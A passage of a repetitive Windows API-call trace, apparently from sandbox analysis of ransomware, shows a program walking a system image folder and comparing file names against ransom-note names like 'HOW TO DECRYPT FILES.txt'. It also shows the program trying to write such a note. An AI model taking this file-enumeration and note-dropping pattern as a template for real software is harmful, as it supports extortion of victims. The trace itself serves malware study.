| out: lpMsg=0x18fa24) returned 0 [0165.639] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="darkBlue_GRAD.jpg") returned 1 [0165.639] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="darkBlue_GRAD.jpg") returned 1 [0165.639] lstrcmpiA (lpString1="", lpString2="darkBlue_GRAD.jpg") returned -1 [0165.639] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\branding_Full2.gif") returned="branding_Full2.gif" [0165.639] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.639] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.639] lstrcatA (in: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" [0165.639] GetFileAttributesA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt")) returned 0xffffffff [0165.639] CreateFileA (lpFileName="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\how to decrypt files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x2, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.639] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.640] CloseHandle (hObject=0xffffffff) returned 0 [0165.640] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0686100, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0686100, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90d0e32f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x3d, dwReserved0=0x0, dwReserved1=0x0, cFileName="deselectedTab_1x1.gif", cAlternateFileName="DESELE~1.GIF")) returned 1 [0165.640] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.640] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="deselectedTab_1x1.gif") returned 1 [0165.640] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="deselectedTab_1x1.gif") returned 1 [0165.640] lstrcmpiA (lpString1="", lpString2="deselectedTab_1x1.gif") returned -1 [0165.640] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\darkBlue_GRAD.jpg") returned="darkBlue_GRAD.jpg" [0165.640] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.641] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.641] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.641] CloseHandle (hObject=0xffffffff) returned 0 [0165.641] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb06d23ba, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb06d23ba, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90d0e32f, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x392, dwReserved0=0x0, dwReserved1=0x0, cFileName="folder.gif", cAlternateFileName="")) returned 1 [0165.641] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.641] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="folder.gif") returned -1 [0165.642] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="folder.gif") returned 1 [0165.642] lstrcmpiA (lpString1="", lpString2="folder.gif") returned -1 [0165.642] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\deselectedTab_1x1.gif") returned="deselectedTab_1x1.gif" [0165.642] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.642] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.642] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.642] CloseHandle (hObject=0xffffffff) returned 0 [0165.642] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb071e674, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb071e674, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90d3448d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="gradient_onBlue.gif", cAlternateFileName="GRADIE~1.GIF")) returned 1 [0165.643] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.643] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gradient_onBlue.gif") returned -1 [0165.643] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gradient_onBlue.gif") returned 1 [0165.643] lstrcmpiA (lpString1="", lpString2="gradient_onBlue.gif") returned -1 [0165.643] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\folder.gif") returned="folder.gif" [0165.643] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.643] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.643] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.643] CloseHandle (hObject=0xffffffff) returned 0 [0165.644] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb07447d1, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb07447d1, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90d3448d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x5a, dwReserved0=0x0, dwReserved1=0x0, cFileName="gradient_onWhite.gif", cAlternateFileName="GRADIE~2.GIF")) returned 1 [0165.644] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.644] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="gradient_onWhite.gif") returned -1 [0165.644] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="gradient_onWhite.gif") returned 1 [0165.644] lstrcmpiA (lpString1="", lpString2="gradient_onWhite.gif") returned -1 [0165.644] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\gradient_onBlue.gif") returned="gradient_onBlue.gif" [0165.644] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.644] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.644] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.644] CloseHandle (hObject=0xffffffff) returned 0 [0165.645] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0790a8b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0790a8b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90d5a5eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x148, dwReserved0=0x0, dwReserved1=0x0, cFileName="headerGRADIENT_Tall.gif", cAlternateFileName="HEADER~1.GIF")) returned 1 [0165.645] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.645] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="headerGRADIENT_Tall.gif") returned -1 [0165.645] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="headerGRADIENT_Tall.gif") returned 1 [0165.645] lstrcmpiA (lpString1="", lpString2="headerGRADIENT_Tall.gif") returned -1 [0165.645] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\gradient_onWhite.gif") returned="gradient_onWhite.gif" [0165.645] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.645] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.645] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.646] CloseHandle (hObject=0xffffffff) returned 0 [0165.646] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0790a8b, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0790a8b, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90d5a5eb, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x581, dwReserved0=0x0, dwReserved1=0x0, cFileName="help.jpg", cAlternateFileName="")) returned 1 [0165.646] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.646] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="help.jpg") returned -1 [0165.646] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="help.jpg") returned 1 [0165.646] lstrcmpiA (lpString1="", lpString2="help.jpg") returned -1 [0165.646] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\headerGRADIENT_Tall.gif") returned="headerGRADIENT_Tall.gif" [0165.646] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.646] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.647] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.647] CloseHandle (hObject=0xffffffff) returned 0 [0165.647] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb07dcd45, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb07dcd45, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90d80749, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x58c, dwReserved0=0x0, dwReserved1=0x0, cFileName="HelpIcon_solid.gif", cAlternateFileName="HELPIC~1.GIF")) returned 1 [0165.647] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.647] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HelpIcon_solid.gif") returned -1 [0165.647] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HelpIcon_solid.gif") returned 1 [0165.647] lstrcmpiA (lpString1="", lpString2="HelpIcon_solid.gif") returned -1 [0165.647] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\help.jpg") returned="help.jpg" [0165.647] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.647] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.647] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.648] CloseHandle (hObject=0xffffffff) returned 0 [0165.648] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0802ea2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0802ea2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90d80749, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0xa2, dwReserved0=0x0, dwReserved1=0x0, cFileName="image1.gif", cAlternateFileName="")) returned 1 [0165.648] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.648] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="image1.gif") returned -1 [0165.648] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="image1.gif") returned -1 [0165.648] lstrcmpiA (lpString1="", lpString2="image1.gif") returned -1 [0165.648] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\HelpIcon_solid.gif") returned="HelpIcon_solid.gif" [0165.648] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.648] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.648] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.648] CloseHandle (hObject=0xffffffff) returned 0 [0165.649] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb0802ea2, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb0802ea2, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90da68a7, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x24a, dwReserved0=0x0, dwReserved1=0x0, cFileName="image2.gif", cAlternateFileName="")) returned 1 [0165.649] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.649] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="image2.gif") returned -1 [0165.649] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="image2.gif") returned -1 [0165.649] lstrcmpiA (lpString1="", lpString2="image2.gif") returned -1 [0165.649] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\image1.gif") returned="image1.gif" [0165.649] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.649] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.649] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.649] CloseHandle (hObject=0xffffffff) returned 0 [0165.650] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb084f15c, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb084f15c, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90e64f7d, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="requiredBang.gif", cAlternateFileName="REQUIR~1.GIF")) returned 1 [0165.650] PeekMessageA (in: lpMsg=0x18fa24, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18fa24) returned 0 [0165.650] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="requiredBang.gif") returned -1 [0165.650] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="requiredBang.gif") returned -1 [0165.650] lstrcmpiA (lpString1="", lpString2="requiredBang.gif") returned -1 [0165.650] PathFindFileNameA (pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\image2.gif") returned="image2.gif" [0165.650] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: lpString1="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" [0165.650] PathAddBackslashA (in: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\" | out: pszPath="C:\\Windows\\winsxs\\amd64_netfx-aspnet_webadmin_images_b03f5f7f11d50a3a_6.1.7600.16385_none_3b995fcfc0e586ab\\") returned="" [0165.650] SetFileTime (hFile=0xffffffff, lpCreationTime=0x407546, lpLastAccessTime=0x40754e, lpLastWriteTime=0x407556) returned 0 [0165.651] CloseHandle (hObject=0xffffffff) returned 0 [0165.651] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb08752b9, ftCreationTime.dwHighDateTime=0x1ca03f9, ftLastAccessTime.dwLowDateTime=0xb08752b9, ftLastAccessTime.dwHighDateTime=0x1ca03f9, ftLastWriteTime.dwLowDateTime=0x90e8b0db, ftLastWriteTime.dwHighDateTime=0x1c9ea0b, nFileSizeHigh=0x0, nFileSizeLow=0x31, dwReserved0=0x0, dwReserved1=0x0, cFileName="security_watermark.jpg", cAlternateFileName="SECURI~1.JPG")) returned 1 [0165.651] PeekMessageA 